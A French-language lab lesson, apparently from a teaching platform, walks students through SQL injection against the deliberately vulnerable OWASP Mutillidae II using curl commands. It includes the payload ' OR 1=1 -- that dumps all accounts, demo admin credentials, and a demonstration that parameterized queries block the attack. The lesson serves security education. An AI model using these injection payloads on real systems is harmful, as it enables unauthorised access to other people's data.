Ce que tu vas faire
Un site web demande des informations à une base de données avec une question écrite dans un langage qui s'appelle SQL. Si le site colle directement dans cette question ce que tu tapes, tu peux changer la question. C'est ce qu'on appelle une injection SQL, et c'est l'une des failles les plus courantes du web. Mutillidae est un site construit avec cette faille, exprès. Tu vas chercher un compte, puis changer le nom pour que le site te donne tous les comptes, puis monter le niveau de sécurité et réessayer.
La seule règle
Attention
Ce lab fait tourner un site vulnérable volontairement. Attaque ce site, et rien d'autre. C'est ta copie privée, sans accès à Internet : personne d'autre ne peut être touché. Ne tente jamais ces choses sur un site qui n'est pas à toi : au Royaume-Uni, c'est une infraction pénale d'après le Computer Misuse Act 1990.
Avant de commencer
Remarque
Appuie sur Démarrer le lab dans la barre en haut de cette leçon et attends qu'il indique qu'il tourne. Le site est le service appelé www, et le terminal l'atteint par ce nom. Dans un navigateur, il s'ouvre avec le lien OWASP Mutillidae II de la barre. Chaque bouton Exécuter ci-dessous tape sa commande dans le terminal de ton lab, l'une après l'autre dans la même session. Pour les suivre, ou pour taper tes propres commandes, appuie sur Ouvrir le terminal (nouvel onglet) dans la barre.
1. Se connecter et chercher un compte
La première commande te connecte en tant que admin et garde la connexion dans un fichier appelé jar, comme un navigateur garde un cookie. Elle affiche 302 et une adresse qui finit par AU1 : le site a accepté la connexion et t'a envoyé plus loin. La deuxième demande à la recherche d'utilisateur le nom admin, et seul le nombre de résultats est affiché : 1 records found (« 1 enregistrement trouvé »).
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.
2. Changer la question
Cette fois, le nom est ' OR 1=1 -- . Le ' a fermé la question du site trop tôt, OR 1=1 a ajouté une condition toujours vraie, et -- a dit à la base d'ignorer tout le reste. Elle répond 40 records found : tous les comptes du site, alors que tu en avais demandé un seul. Le site a fait confiance à ce que tu as tapé.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.
3. Monter le niveau de sécurité et réessayer
Toggle Security, dans le menu du site, fait passer le niveau de sécurité de 0 à 1, puis à 5. Cette commande appuie dessus deux fois, donc le niveau est 5, que la page affiche à côté de son titre. La deuxième commande est exactement la même injection qu'à l'étape 2, et maintenant elle répond 0 records found. Au niveau 5, le site envoie ton texte séparément de la question : il ne peut être qu'une valeur, jamais une partie de la question. C'est ce qu'on appelle une requête paramétrée, et c'est comme ça qu'un site se protège de cette attaque.
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.
Pour les enseignants
Astuce
Cette leçon est un petit exemple de leçon travaillée dans un lab : les étapes et les boutons Exécuter sont la leçon, et le lab est la copie personnelle de chaque élève. Mutillidae a des dizaines d'autres failles, du cross-site scripting à l'injection LDAP : le même lab peut donc servir pour toute une séquence. Rien n'est corrigé pour vous : demandez une capture d'écran de chaque exercice et une phrase sur ce que le code faisait de mal. Copiez-la dans votre propre module et modifiez-la, ou construisez-en une de zéro avec le menu Lab du créateur de leçons.